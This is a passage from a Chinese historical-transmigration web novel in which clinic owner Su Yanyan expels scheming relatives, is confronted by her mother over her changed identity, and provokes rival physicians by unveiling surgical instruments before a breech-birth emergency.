苏东林敏锐意识到她的不配合,他如同一条盘踞的蛇,觑着时机展开身体,缠绕猎物,收紧缚住:“三叔的托付,小侄不敢不遵从。如果族妹不想交出医馆,小侄也不会抢夺,毕竟我进京主要是进府学研学进修,日后考上功名,也好给家人撑腰。婶子您放心,我不和族妹争。只是,三叔的嘱托我也不能无视,我娘和小妹就让她们陪着您和族妹,也好叫三叔放心,请婶子允诺。”
他退一步,看似放弃了争夺医馆,又提出一个比较合理的要求,苏夫人便不好果断拒绝,沉默许久,还是答应让他娘和妹妹住进苏家。
苏颜妍大胜而归,回到苏家,迎面就撞上苏小香。
苏小香此刻已然搬进苏宅,正骄矜地指挥帮忙搬行李的长工,把大包小包穿的用的送进苏颜妍旁边的客房。
这间客房平日无人留宿,苏颜妍在里面放置许多实验用具,平常有时间,就会窝在里面研究复刻创新。苏小香要搬进去,房间内苏颜妍放置的工具被她一件件拢到一起,随意堆积在箩筐里,扔到客房门外。
替代这些工具的,是她进京后攒着银子购置的漂亮衣衫、胭脂水粉、朱钗发簪。她一点也没把自己当外人,不仅指派长工忙这忙那,还试图让留守苏家的侍卫听她指挥,把客房改的更舒服些呢。
看到苏颜妍回来,她半点没心虚,反倒傲慢仰首,冲着苏颜妍嗤了一声,道:“大小姐回家了?真是不容易。出门抛头露面这种事,日后可不能再做,会让人笑话苏家女子没有教养的。放心,我会帮你纠正这种坏习惯,让你成为合格的淑女。”
说完,她咯咯咯笑道:“毕竟咱们要生活在一个屋檐下,可不能让你影响我的名声呢。”
这蠢货,敢在她家对着主人吠声?苏颜妍一声冷笑,吩咐随从:“把这位走错地方的姑娘送出去,房间恢复成原来的样子。多出的垃圾统统扔到门外,没人要就送给路边的乞丐。倘若有不长眼的想闹,直接扭送到官府,就按私闯民宅报官。动手!”
苏颜妍撑门立户,苏家仆从哪个不是她拍板做主收进来的。苏颜妍不在,苏夫人不吭声,默认苏小香母女登门入室,他们被吆来喝去,本就攒了一肚子不满。现在当家主人下了令,他们立即听令动手,两个仆妇架着苏小香的胳膊,将她“请”出苏府,门房立刻与她们一起,挡着大门不许她上前。
苏小香气的跳脚大骂,等来的不是苏颜妍和苏夫人,而是同样被“请”出门的孟氏。
苏家众仆从们手脚麻利,半柱香不到,孟氏和苏小香带来的大包小包原数送出,凌乱堆积在门边。更有不知哪个促狭的,收拾打包衣物时包裹没好好系紧,这会儿一拎一放,数件衣服滑落,还夹杂一件鲜艳小衣,羞得孟氏掩面尖叫。
苏小香和孟氏在紧闭的门前狼狈不已,她们受不了过路行人好奇看热闹的指指点点,又舍不得财物包裹,只得央求同来的长工把东西再送回她们原先租住的地方,火急火燎去找苏东林报信。
苏颜妍一回家,苏家就是一阵鸡飞狗跳。苏夫人纵是沉浸在丈夫“死”而复生的冲击中,听到吵闹声也忍不住出门观望。
苏颜妍刚刚碾压完一众医馆同行,身上的锐气锋利凌人,遇着苏小香一挑衅,更是火上浇油般膨胀。
苏夫人一对上她的眼神,一瞬间竟恍惚不敢直视。她的爱女滤镜在这一刻彻底碎裂,苏颜妍身上那些微妙的违和感终于在她眼中心中涌出。她眼前站着的这个姑娘,除了相貌,哪点和她回忆中的沉默温柔小女儿合的上?连那张熟悉的脸,在清亮锐利的眼神下,变得完全不一样。
苏颜妍见苏夫人失魂落魄,以为又是孟氏和苏小香说了什么难听的话,刺激到这位心性柔弱的妇人。她到底是原身的母亲,这些时日朝夕相处,苏颜妍也和她建立感情。看她这样,又气又急,不由问道:“为何放孟氏进门?上次她来咱们家,就惹得你生一场病。这人心术不端,眼里的算计贪欲能顺着目光流出来。母亲就应当嘱咐门房别让她们来家里!”
苏夫人脸色苍白如纸,她赶忙上前去扶。一时又觉得赶走孟氏和苏小香不解气,暗暗决定去找苏东林算账。
进了苏夫人的房间,苏颜妍待她坐好,喝过茶,缓过气,才将一颗提起的心放进肚中。
苏夫人身体柔弱,性子并不矫情,房间一向洁净清爽。苏颜妍这会儿一转身,奇怪发现屋里有些凌乱,仿佛苏夫人受到惊吓慌张藏过什么东西似的,案桌小柜抽屉半开着,露出一角泛黄信笺。
苏颜妍担心孟氏母女二人冲撞过苏夫人,她蹙着眉拉开小柜,准备帮她规整利落。
她手一顿,视线凝在信笺上,她看到了那封信上的字。
苏南星的信?
她正捏着信想放回,苏夫人却慌乱地绕过屏风朝这边疾步扑过来,一把从苏颜妍手中夺过信笺,紧紧将信压在胸口。
苏颜妍不解地看着她躲闪抗拒的姿态,猜测这信可能是苏父留给她的念想,苏夫人与丈夫感情一向很好,过度紧张也是可能的。她便安抚道:“娘,这封信我没有看,刚准备放回去呢,不会弄丢的。收好信您就好好歇歇吧,我会嘱咐门房和仆从们,孟氏她们一家再登门,一律打出去。”
她再给苏东林狠狠记上一笔,转身准备离开。
行至房门,身后的苏夫人突然开口:“妍娘,你有收到你父亲的消息吗?一晃这么多天,想来他已经……”她声音喑哑,最后的词仿佛含在喉咙里,苏颜妍一时没能听出。<
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她心思电转,苏南星的事牵扯着危险与阴谋,现在告诉苏夫人,只会让她平添忧惧。她本来身体就不太好,还是等风波过去后再与她好好说说。
苏颜妍便说道:“娘,咱们不是说过了嘛,没有消息就是好消息呀。或许爹一时困在哪里,待他方便时一定会想着联系我们的。咱们到时候一家团聚,想想就美美的。娘现在最重要的就是照顾好自己,别让我和爹为您担心,知道吗?”
苏夫人垂下头,没再吭声。她一向柔顺温婉,苏颜妍没多想,冲她笑笑便离开苏府,直冲城郊学舍而去。
苏东林从村子搬到京城,就是因为他有幸进了城郊学舍进修。这里毗邻京师,文风鼎盛,求学的学子们就算没能金榜题名,多少也和同窗有了一定的感情。日后或做个师爷幕僚,或回乡当个教习,多条人脉总是好的。
苏东林自然也是如此。他在学舍人缘不错,考了几次虽然没有名列前茅,在同期中也算中上资质。加上他为人温和仗义,交了不少朋友。
今日逢着学舍小考,他自觉水平较往日有所提高,正暗自得意。同窗与他交流几句,诉说对他的仰望崇拜,他不骄不躁,温声安慰几句。
这时,远处传来一阵杂乱脚步声,低声谈论考题的学子们自觉噤声。
学舍向来要求学生依礼行事,学舍中人一般趋步前行,少有这种慌张声响。几息过后,学舍门仆小跑进来,找到苏东林:“学舍门外有人指名见您,山长让您快点过去。”
苏东林压下惊愕,对同窗点头示意后,出门随门仆到了学舍门厅。门厅内,山长正和一位女子低声说着什么,听到他来,转头瞪了他一眼。
不待苏东林行礼,便有人怒声呵问:“来得正好,苏东林,今日你指使家中女眷,闯入我家,惊扰我娘,是何居心?”
苏东林定睛一看,正是回春堂现任当家,苏颜妍。这位族妹以独女之身,在父亲失踪后赶走坐馆十余年的师兄,果然是个硬茬。
当着山长,他拿不准要不要将苏父的存在说明,也不晓得苏夫人是否将收到信件的事告知苏颜妍,一时有些犹豫。
苏颜妍看他一副欲言又止的样子,更是心下反感。她已经派人探过苏小香和孟氏的底了,这次她们上门,就是听从苏东林的安排。她本想着二人井水不犯河水,不想人无害虎心,虎有伤人意。
她不由哼出气音,眼神轻蔑扫过对方,对山长说:“老先生,您也看到了,您的这位学生气短得很。我也不知是不是要向您讨个公道,怎的咱们京郊学舍教出这般不知廉耻蝇营狗苟的学生。”
事关前途,苏东林再也不能沉默无视。他知道再不说出个子丑寅卯,山长定然要做出决定,后果不是现在的他能承担的。
他一想通,马上对山长告罪,然后对苏颜妍解释:“族妹误会良多。并非是小生唆使母亲和妹妹去府上,是我的族叔、您的父亲苏南星亲自叮嘱我这样安排。想来族妹来的匆忙,婶子没将详情告诉你,族叔的信,我已经送到贵府,族妹尽可回去详查。如有半句虚言,小生任凭山长处置。”
60. 你不是我的女儿
“疏不间亲,本来我不想挑明,可是族妹你咄咄相逼,我实在不想让师长误会自己是品德败坏的小人。族妹,或许你总是热衷到外面去看人间重相,忽略你娘孤单守家的苦。想来族叔也不想让婶子郁郁寡欢,这才托我安排母亲和妹妹去贵府小住。”
苏东林的话回响在耳边,苏颜妍百思不得其解。
苏父联系苏夫人到底说了什么,是那封信吗?为什么苏夫人从未告诉过她?
是了,之前苏夫人问她有没有苏父的消息,她怕苏夫人担心,并未告诉她见过苏父一事。难道苏父写的信里,说的是这个?
她必须赶紧回去和苏夫人谈明白,苏父出现不一定是安全的,他可能并未逃出,陷入另一种危机。如果苏夫人不加以警惕,放任下去,很可能连她也会陷入麻烦当中。苏颜妍不想看到苏夫人落入险境。
从京郊学舍到苏家,长长的一段路上,苏颜妍心中转过千百种念头,想了千百种话术组织语言。
她见到苏夫人以后,这些准备通通都变成无用的闲言,说不明白的无措。
时间回到苏颜妍赶走不速之客,她安置好苏夫人之后。
苏夫人在家中坐卧不宁,思来想去还是决定和苏颜妍谈一下苏父来信的事情。女儿现在主意大,她知道事情后或许能想出更好的办法。
她久寻苏颜妍不得,一问才知,苏颜妍已经离开家去京郊学舍找苏东林问罪去了。
苏夫人对她心性上的巨大变化终于忍不下去、也没法子自欺。她非常的难过,难以控制自己积压的情绪,看到苏颜妍回家后迅速爆发。
苏颜妍问她为什么隐瞒收到苏父信笺时,她无法抑制自己的声音,嘶声喊叫:“是,我是隐瞒了你,但你就没有什么秘密是没有告诉我的吗?比如说你到底是谁?为什么会在我女儿身上?你们有着一模一样的脸,可性子完全不一样!”
“你到底是不是我的女儿?原来的妍娘现在又在哪里?是了,是落水的时候哪个鬼怪上了她的身?明明之前她是多么乖巧温柔的孩子,我竟以为是落水后刺激太大,变成了现在这个样子。”
“是了,我的女儿原来最喜欢白延琅,像他身后的一条小尾巴。可是自从落水获救以后,你却与他针锋相对,反目成仇。我的女儿最爱他的父亲,而你明明见到了他,却任由你的父亲深陷险境,还向我隐瞒真相。”
“是了,我的女儿最爱吃糖醋鲤鱼,但是自你回来以后,从没有说过想要尝尝我拿手的手艺……”
苏夫人彻底爆发:“你到底是谁?把我的女儿还给我,把妍娘还给我!”
温良柔弱向来是沉默妇人最好的守护色。苏夫人这样的人一旦情绪失控爆发,就像积蓄已久的火山喷发一样,一发不可收拾。
苏夫人的话刺痛苏颜妍的心。她能说什么?她确实不是原主,她是一具占据别人躯体、没有来处去路的异世鬼魂。
她费心为自己谋划,何尝不是为苏夫人谋划,开局她们母女的处境何其艰难?现在苏夫人这样质疑她,苏颜妍心痛极了。
她望着苏夫人哭红的双眼,她的伶牙俐齿僵硬的像石头雕的,一句像样的话也挤不出来。如果这场谈话是两位武士对垒,她一败涂地,落荒而逃。
苏夫人向她要她的女儿,她又要向谁要她的人生呢?向谁要她的家人呢?向谁要她的朋友她的同学,她的事业,她的未来?
苏颜妍从来不是一个嗜好喝酒的人,但今天她想痛痛快快的醉一场,什么都不想。或许沉浸在美酒带来的迷幻世界里,她能忘却伤心,忘却彷徨,忘却孤独。能短暂的回到属于自己的时代。
一杯杯酒水下肚,苏颜妍的眼前,走马灯似的出现穿越到这里,与苏夫人、萧景琮、小桃一起,或高兴或快乐或愤怒或争吵的一幕幕。
酒水好苦涩,好辣呀,刺激着她的泪水从眼角滑落。真是太难喝了,怎么会有人喜欢喝酒呢?不过,酒好像拥有神奇魔力,隔开那些刺痛人心的话,让人懒洋洋不再想。
苏家,苏颜妍与苏夫人爆发巨大争吵,萧景琮收到暗卫传来的消息,硬是把手头繁琐的工作拆分出去,来苏家找苏颜妍。
此刻,苏颜妍借酒浇愁,苏夫人门窗紧闭,偌大的苏府,陷入诡异的静寂中。
萧景琮紧赶慢赶,风也似的到达。他半只脚还没踏进苏家,就与前来寻人的袁因撞了个正着。
“你来做什么?”萧景琮警惕地问。苏颜妍现在情绪不对劲,可不能让袁因趁着她不清醒的时刻,说些乱七八糟的话。万一影响到她,那还了得。
袁因不客气的冲他翻了个白眼道:“你来做什么,我就来做什么,都到了这里,自然是来找苏颜妍苏姑娘。”
“‘荧惑’这边收到了线报,苏南星出现了,我来告诉颜妍,要小心,别落入亲情织就的陷阱。”
“你还真去当了‘荧惑’的少主?他们已经能放心把这些消息告诉你?”萧景琮不忿道。他转头想到这份消息苏颜妍肯定会感兴趣,不客气地笑纳:“这件事我知道了,我来告诉苏姑娘。我哥最近会从安南府回京,你没事可以多去找我哥。”
“臭小子!”萧景琮变身醋坛子的行为逗笑袁因,她不由回忆起萧晟玹。他们兄弟俩的行为真是一个模子里铸出来的,连吃醋占有欲表现出来的样儿,都一脉相承。她一定要到萧晟玹面前嘲讽他们兄弟一番。
萧景琮打发走袁因,转头去找苏颜妍。
一进房间,呛人的酒气就扑了他满脸。萧景琮皱紧眉头嘀咕:“喝了这么多的酒,酗酒伤身。有事情就放一放,不要用自己的身体来发泄。”这话还是曾经的苏颜妍对他说过的话,现在说这话都人自己变成大酒鬼。
苏颜妍这会儿眼皮如同千斤重,她费了点力气睁眼,冲着声音传来的方向,斜斜的、慵懒地抬起了头。她眯着眼睛辨别了一会儿,含含糊糊地说道:“哦,原来是你呀,景琮。快来喝酒、咱们一起喝,今朝有酒今朝醉,喝酒真好呀。”
萧景琮捏着鼻子靠近她,哎呀,这只醉鬼,这会儿到底是喝了多少杯,醉得神志不清在这儿耍酒疯。
他拦下那双执壶倒酒的手,劝
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阻道:“别喝了,你到底是在担心什么,因为什么和你娘吵架?给我说说听听,看看能不能帮你想个法子解决。”
苏颜妍伤心地说:“我想家了,我要回家,你带我回家吧。”说到家,她瞬间伤心起来,泪水大颗大颗的滑落。她对萧景琮伸出手,如同走失的孩子终于看到了亲人:“我想回家,带我走吧。”
萧景琮无奈地抱住她,将她圈在怀中,不让她挣扎:“这里就是你的家,你已经回家了。”
“不,不是!这里不是我的家,我要回自己的家!”苏颜妍埋在他怀里闷闷地说着。
萧景琮哄孩子似的拍着她的背,俯身一把将她抱起,安置在床榻上。他亲自从准备好的洗漱用品中,用温水浸湿毛巾,一点点帮她擦拭干净脸上手上的酒渍。
汗与泪浸染苏颜妍鬓边的发,她整个人被酒精烘染成热乎乎的,脸上一片红艳艳的血色,一张小嘴,嫣红如樱果。微微泛红的眼角和鼻翼,更给她添了一份平日里不常见的楚楚可怜的气质。萧景琮又爱又怜:这可怜的小东西,是受了谁的气?
跟着一起来的婢女帮苏颜妍换下凌乱脏污的衣物,萧景琮放心不下苏颜妍,决定在这里陪她一晚。
夜幕降临,烛影深深,喝饱了酒也哭累了后,苏颜妍沉沉睡去。
萧景琮温柔看着她恬静的睡颜,和衣倚坐在床榻下的踏板垫上,蜷缩着大长腿委委屈屈的过了一夜。
苏颜妍感到了久违的松弛,她好久没放空一切沉沉睡一觉。朦胧间,她感到自己的睫毛像被蝴蝶亲吻一样。痒痒的,她揉了又揉,这只烦人的蝶,不停的从这边飞到那边,赶也赶不走。持续不断的痒意终于惹的她睁开了眼睛。
“啊!”她惊叫一声,呼吸急促,心跳如鼓。好大的一个萧景琮,离她特别近,几乎要面贴面贴到她脸上。
“你怎么在这里?”苏颜妍捂着胸坐起,隐约从模糊的记忆里回想起昨天喝酒时,面前出现的人。原来他真的来了,不是她喝醉的幻象。
她贝齿轻咬,想着昨天她醉酒哭闹的失态样,萧景琮全程看到,她不由得红了脸,整个人都烧起来了。那些卒闷郁气,全都烧空消失不见,她的精神诡异的振作了许多。
深度睡眠是顶级修复大师,她不再像昨天那样难过。似乎苏夫人愤怒疯狂的指责,一切负面的情绪都隔了一层纱一样。能模模糊糊看到一点,记着这种难过情绪的起因经过,但结果不会影响到她。
苏夫人的爆发,是从苏南星失踪就开始积攒的担忧恐惧,期间苏颜妍硬抗白延琅和众同行,确实对她造成一些冲击。苏东林送来的信,是压垮她精神的最后一根稻草。
苏颜妍不怪苏夫人,这个隐忍沉默的女人已经默默忍受了很久,爆发积压的情绪对她而言,是件好事。
她更好奇苏东林在这件事里担当的角色,他和苏南星,或许还要加上个白延琅,他们之间到底有什么秘密维持关系呢?
苏颜妍这次真正把他们,放到一个绝对敌对、时刻警惕的位置。她燃起熊熊斗志,誓要挖出他们的秘密。
61. 不服来咬我呀
苏颜妍把整件事往坏的方向想。
假设苏东林算计成了真,孟氏和苏小香住进苏家。依苏小香母女的性子,一定会让情绪积压的苏夫人更加难受。常年卧病的人自带郁气,苏夫人性子柔,这股气发不出来,身体很可能扛不住,病得更加严重,或者干脆就死掉。
除掉苏夫人?
苏颜妍沉吟着,再往下推测:苏夫人无论是病倒还是撑不下死去,苏颜妍作为唯一的女儿,必定要留在苏夫人面前尽孝。医馆离不得人,苏颜妍靠不上时间,苏东林出面帮忙管理,外人也挑不出他的不是。
毕竟其他人想也想不到,号称陪伴苏夫人、帮助她的人,品性恶劣,惯会装模作样。苏颜妍若在跟前,必定与她们冲突,结果就像昨天那样,将她们赶走。
那这俩人来苏府的意义是什么,总不能苏东林单纯心肠柔软,给家中女眷找富贵乡放松吧。或者,她们俩到苏府,能带进什么东西,不会特别引人注目。
“我想清查一下家中,看看是不是出现不该出现的东西,你能安排人手进苏宅帮我吗?”
萧景琮挺胸抬头:“当仁不让。”别说人手,他自己这两天都不回宫,留在这里喽。
苏颜妍和萧景琮二人一起,配合默契,苏颜妍刚想出新线索,萧景琮立刻就能安排手下去摸查执行。
在他们俩的合作攻势下,苏家就是摊开的一本书,每一处都清清楚楚。只要他们想看,可以随时翻找出任何蛛丝马迹。
“果然,苏小香和孟氏不过是一个能合理进苏家的幌子。苏东林,或者苏南星准备的后手,是隐藏在送行李的人当中。目的是来这里找某样东西,或者放某样东西。”
苏颜妍趴在书桌前,在摊开的一张纸上,细细列出摸底筛查找出的可疑地方。
苏父的书房是翻找力度最大的一处地方,里面随处能看到都医书,放在外边都是连岐黄谷都眼红的珍品孤本。苏颜妍自上次起,已经把书房重新换了锁,除了她,连苏夫人和小桃都不会靠近这处。
苏小香想住进的客房,位置临近这处书房。苏颜妍回家与她冲突,迅速赶她走,这段时间若是有心,可以趁着混乱靠近。
萧景琮取回的门锁上有被硬物撬过的痕迹,据经验丰富的暗卫首领判断,绝对是有人试图暴力打开门锁,短小撬棍留下的。
是苏东林指使的吗?
苏颜妍决定给事态加一把火。
萧景琮身份从未对外公开,对她有敌意的人只会知道他或许与宫中有关系,侍卫、宫人、哪位大人的血亲……
张天翼是萧景琮信任的人,他也算是计划中的一部分。目前她钓出的有同行和苏东林,若是再激进一些,会有哪些沉不住气的跳出来呢?
让她拭目以待吧。
清理完苏家,苏颜妍犹豫再三,没有和苏夫人告别。
她搬进了回春堂,萧景琮时时陪着她。有他在,计划推进的格外顺利。苏颜妍只管从脑子里搜罗能用得上制的出的工具,画成图纸。
萧景琮安排工匠,将这些外科用品,一件件打制出成品,送回苏颜妍那边。
苏颜妍新想的计划有些激进,她要推行外科器具,实物展示,功能演示,给古人一些超时空的骇人震撼。
她要主动暴露一个弱点,布置一个以致命弱点为诱饵的陷阱,迷惑心怀不轨的人。
西方国家发展科学时,尚且伴随鲜血与牺牲。理论超前可以算邪说,连实物都制出来,准备辅以实践,那就是异端了。她敢肯定,这样能合理合法处置她的诱惑,钓真正对她心怀恶意的人来说,一钓一个准。
不出她所料,回春堂苏掌柜再次推出的新奇外科工具,戳爆了老古板医师们的肺管子。
事实上,这次推出的器具超前到,连回春堂自己家的解说员都瑟瑟发抖。
一把锋利的手术刀,小巧的身材不影响它反光的刃。这把刀切开皮肉组织,甚至不需要用力,哪怕是一个稚童握在手中,也能轻易剖开一个成年人的胸膛。重量几乎没有,妇孺也能轻松拿起。单看这刀,都可以当暗杀工具。
伤口缝合针,同样小巧且锋利。这根可不是妇人手中用来绣花的,而是要穿过血肉,把伤口像缝两片布一样缝合起来的。
还有形似剪刀的手术剪,手术钳,甚至还有专门分出类别针对骨组织的咬骨钳、骨锤、骨凿……简直是骇人的刑具展示现场。
不怪解说人员面如土色,这一系列工具委实超出他们的认知。这些能轻易将人开膛破肚、断骨缝皮的可怕东西,真的不是出现在刑狱或者地府吗?听听文字描述都有打着摆子抖落一地苦胆。
平日里针刺到肉里,都要疼上好几天;刀切一道小口,愈合都要数十日;伤筋动骨,更是要数月才能好。人是有多么想不开,要主动找人给自己来上几道伤口?
他们想都不敢想,仿佛想一想那种锋锐的痛感就要降临到自己身上。
这些亲和苏颜妍的人都反应如此大,敬畏抵触离得远远。曾与苏颜妍起过冲突的老大夫们,一个个如同被踩了痛脚般,怒斥她沽名钓誉、哗众取宠。
“都说身体发肤受之父母,意外受伤让亲长忧心已是不孝,哪里能主动伤身?谁要是敢在我身上动刀损伤,我定要视为此生死敌,拼上性命也要报复回去。”
“回春堂算是完了,苏南星行医二十余年,不功不过。他最大的罪过就是生了这个不孝女。家传医馆口碑毁了,当初他家就不该让一个女人出来经营。真当医馆是绣坊香铺这些女人家家的东西不成?呵,女人就该安分呆在后宅,相夫教子。抛头露面,实为不祥。”
以济世堂为首的医馆联盟们再次找上张神医:“本来咱们不该再与那姓苏的小娘儿打交道,可是张神医,你看她今日搞出的乱摊子。那些惊世骇俗的工具,她竟然宣称将病人开膛破肚再缝合伤口能治病,简直胡言乱语,给咱们医馆众大夫们抹黑。”
“咱们祖宗规矩向来仁爱谨慎,让这颗老鼠屎一搅和,坏了咱们全京城同行的口碑。给病人开膛破肚治病,这是打着医生的幌子行害人之实。她这样闹下去,咱们的名声也跟着毁了,这次不能再给苏南星面子,他家
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独女确实太过分。”
张神医捻着胡须沉吟不语,听着躁动不休的各家医馆大夫,抨击讨伐苏颜妍。
“张神医,您说句话呀。不是咱们小心眼,这小丫头这次是真的捅破天啦。要我说,大伙儿说的都有理,咱们这行,就不该让一个女子出面经营医馆。那姓苏的小丫头不过双十,以前长于后宅妇人之手。就连苏南星苏兄也不曾教过她医学。要我说,她就是抛头露面养出野心来,把咱们治病救人的传统与医者的仁心当成炫耀的饰品,满足她自己的虚荣心。”
“赶走她!让她滚回内宅去!医馆不需要女子!”陈掌柜见缝插针吼两声。
张神医眉头蹙得紧紧,捻着胡子的手指动也不动,沉吟良久,才说道:“老夫与这位苏掌柜有过龃龉,上次咱们已经被祝家妇背后伤过一次脸面。前些时日,你们几家医馆集合坐诊大夫去回春堂道场论道,老夫也有耳闻,那位苏掌柜确实有一套自成逻辑道理。这次她又制出工具,老夫想着,她这些想法都从哪里学来的?”
“咱们都是自己人,老夫就不说些虚的了。一个人不可能凭空造出不存在的东西,一时能编出个故事,只要认真考究,就能发现圆不过去。一套模棱两可的理论,诡辩可以解决,成不了实体,‘说’也只是嘴上的功夫。倘若这套说辞还配有同系列的工具与执行方法,各位都是当家做主的,你们不会不知这意味着什么吧?”
济世堂的林有仁道:“张神医这样说,可就太过抬举那姓苏的丫头了。苏南星行医二十年,也没见他有什么了不得的建树。他家女儿养在深闺,难不成您还真信坊间传闻,相信什么菩萨梦中授课教学不成?”
“是啊是啊,我看就是小女儿家家的虚荣心,以为自己搞出点虚名来,如同戴个特别的花啊钗的,显得与众不同。再说这套工具如此骇人,注定不会被百姓接受。咱们早些截断错误的传递,这是在做一件善事。”
张神医在众人殷切期望中,点头赞同:“这套工具确实太过惊人,不管事实是不是如苏掌柜传出来的那样有用,只说京中诸位,哪家能同样制出那套刀剪针钳?老夫听说,那些工具都是精铁打制,实打实的精巧细致。京中铁匠铺,哪个大师能复刻?林掌柜是京中医馆的领头人,倘若你要制这样一套工具,短时间内能做得出吗?”
张神医一席话,说的在场众人皆尽沉默。他们之前光关注那些工具有多么惊世骇俗,没注意到这套工具制作起来,有多么复杂困难。
济世堂为首,各家掌柜不是没有认识的铁匠和手艺人。
别说短时间,长时间他们也没法子制齐精铁全套啊。那可是铁,不是金银,有点家底就能拿出来。
铁是国家管控的军需品,是严格控制流通的!
“那苏掌柜后面的公子哥,到底是哪家的?真有通天手段不成?要说妇人还是有用,迷倒个冤大头,真是什么都能拿出来献殷勤。拿铁制品来做人情,败家子啊。”
张神医听着众人的嘀咕,抚摸胡须的手顿住,不自在地咳嗽两声。
是哦,是有够败家子的。
62. 神仙手段
众医馆掌柜一时束手无策,他们不想苏颜妍继续出现在公众面前,宣传一些堪称离谱的言论;他们又畏惧苏颜妍背后可能存在的靠山,担心行事激进得罪了贵人,给自己家造成损失。
受回春堂影响最大的陈掌柜不忿道:“不过是一个可能的猜测,大家难不成一直忍下去?我陈复康不服气!诸位想一想,自回春堂那黄毛丫头出面掌家,这已经是第几次出现的幺蛾子了?!我等一忍再忍,她可曾收敛过,遵守咱们这行的规矩?”
其他医馆的掌柜一时默然。
陈掌柜说的,也正是他们心中不忿的根本原因。回春堂一开始由苏颜妍掌家时,没有人把她放在眼里。苏南星为人和善,虽不与他们深交,也没加入以济世堂为首的行业组织,但他也从不搞明面上的对立。
他失踪后,不少医馆大夫其实也帮忙寻找过,苏颜妍与白延琅对峙抢夺医馆时,他们虽没有出头,但也没有使绊子。这份沉默的善意在苏颜妍抢赢白延琅成了回春堂当家时,占据京中医馆十之八九。
可惜很快苏颜妍就开始了一系列的操作,几乎每一次都踩着众大夫的底线。岐黄谷地位超然,是景朝数一数二的医学圣地。哪家医馆不向往去岐黄谷进修、或者干脆请到一位岐黄谷的良医坐诊呢?
苏颜妍不仅占据了京城医馆前去岐黄谷的名额,还一次请了俩良医。
利益向来是最考验人性的试金石。
从这时起,他们对苏颜妍有了负面情绪:警惕、反感、嫉妒、敌视……直到现在,累积成愤恨与厌恶。
陈掌柜的话是点燃火药的引线,在座的众掌柜都按捺不住心中的恶意,也不打算继续忍耐。
他们齐齐看向张神医。
张天翼:……
他叹了口气,表示:“既然诸位已经下定决心,老夫也愿为诸位出一份力。回春堂这次推出的外科工具行为,老夫会出面明确表示反对。”
众掌柜大喜:“张神医仗义,实乃我等的福星。我们定会跟随张神医,出面抵制回春堂的恶行。”
京城百姓本就畏惧苏颜妍新推出的可怕“刑具”,张神医与众医馆的发声,更是给回春堂添了一抹诡谲的气氛。
十目所视,十手所指,何其严厉。苏颜妍毫不夸张,如若她是一个靶子,出门转一圈,身上早就插满了箭头。
她一点也不怕,敌意这东西,所有人都对她好,偶遇一个两个不友善,她会耿耿于怀许久。所有人都不甚友善,那谁理他们,她有心灵相通的伴侣和志同道合的同伴呢。
再说了,钓鱼耶。现在敌意满满,隐在暗处的人针对她,不趁机混在这群黑鱼群里发挥一下,都对不起之前展现出来对她的恶意。
她等他们久矣。
京城众医馆发声反对她几天后,见苏颜妍依旧我行我素,毫无悔改之意,终于有人出面与她对峙。来到不是旁人,老朋友:张天翼张神医。
苏颜妍与他门外会面,默契地没有打招呼,在外演一出互不服气的敌视戏。
张神医怒喝苏颜妍无知乱来,对生命没有敬畏心,反叛传统,妄为良医。
苏颜妍伶牙俐齿顶撞他多管闲事,故步自封,守着所谓的传统压迫创新的后辈,沽名钓誉。
张神医背后是京中其他医馆,苏颜妍背后空无一人,气势却半分不退,来一个骂一个,来两个,打一双。有萧景琮陪着呢,她神勇异常,丝毫不惧。
双方从理论到实践,针锋相对,若不是双方手无寸铁,能挥着武器打成一团,直到另一方落败求饶。
张神医攻击道:“为搏眼球不思精进医术,偏好奇淫巧技,既不尊重传承,又不尊重患者。人身父母养,为治病就能主动损伤?这是恶行。救不救得人命不说,让父母亲人日夜忧心,就是大不孝。”
苏颜妍回怼:“比起自己的孩子因病致残殒命,多道伤口而已,这点小损害能碍着哪位父母的爱子之心?难不成,性命比起所谓的传统,在你们的眼中,不值一提?那你们当的是哪门子的医生,救的是什么死扶的是什么伤?外科急救就是数一数二的好,你们再不服,也否认不了。”
双方谁也说服不了谁,只恨现在没有个急症患者,来一场现场救治,打烂对方的脸。
正在此时,一位络腮胡大汉神情慌乱地跑过来,一路大喊:“大夫救命!”回春堂前对峙双方大夫,俱是眼前一亮。
“大夫,快救救我家娘子吧!”大汉跑到众人眼前,一骨碌跪倒在地,给众人扣头。
原来这大汉的妻子临产时摔了一脚,惊吓时突然生产,那孩子许是受了惊,一直生不下来。接生婆子火急火燎赶去产房,一摸心都凉了:这孩子的脚先出来了,难生,一个不好,就是两条人命。
大汉难以接受,听邻居说京中医馆的大夫们都在回春堂,抱着一份希望,他一路跑来只为请大夫去救妻儿。有围观的书生就发话道:“你们这些大夫为着哪方更厉害争论不休,谁也不服谁。他家妻儿现在危在旦夕,你们哪个能救得了人,我等就承认他是京中最厉害的大夫。”
百姓们都是热心肠,听书生说的头头是道,纷纷附和:“是啊,等着救命啊,哪个能救哪个大夫就是最厉害的,口头上辩有什么用,真实救人才是好本事。”
众大夫互相看了看,有妇科高手马上站出,跟着大汉就要去救人。
苏颜妍再与张神医对视一眼,又错开视线。事发突然,不是他们俩能算得到的,只能随机应变。
苏颜妍喊小桃带上新制的工具,提上药箱就跟着众人一起去了大汉家。
这位络腮胡大汉是位屠夫,家中还算是宽敞。此刻他一张宽脸满是惊惶恐惧,一双牛眼愣愣盯着聚在院中讨论的大夫们。
事关性命,在场的都是经验丰富的,张神医打头,同两位最擅长妇科的大夫为产妇诊脉。三人脸色都不甚好看,产妇确实危险,一条腿已经进了鬼门关。由于羊水已破,腹中胎儿多在腹中呆一刻,死亡的风险就多一份。
三人低声商议几声,张神医用银针吊住产妇的气,另外两位则指挥产婆尝试推正胎儿位置。产婆声音都带着颤儿:“不行的,法子俱都试过了,没有用。这会儿
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胎儿已经从胎膜中破出,老妇我接生二十年,手中接生的孩儿没有一千,也有八百,这是脚生,没得医的。”
她说的没错,能用的保守法子都试过了,时间一分一秒过去,这产妇和腹中胎儿生还的几率也下降到几乎没有。大汉绝望地跪在地上,眼泪大颗大颗落到地上。
苏颜妍走过去,对大汉说:“让我试试,或许还有的救。”
大汉猛地抬头,死死盯着她,颤抖着问:“当真能救?”
张神医对苏颜妍摇头道:“不要勉强,我们都试过了,你做不到就别给人虚假的希望。”
苏颜妍对大汉道:“试一试,总比放弃强。这法子以前从未有大夫使用过,我也是第一次施救。你肯不肯让我去救一救,或可保住里面母子的性命。”
大汉抹了把眼泪,咬牙道:“左右这么多大夫都没法子,您要真能救,我铭记您的恩情。”
“事情无绝对,我也没有十成的把握。你……”
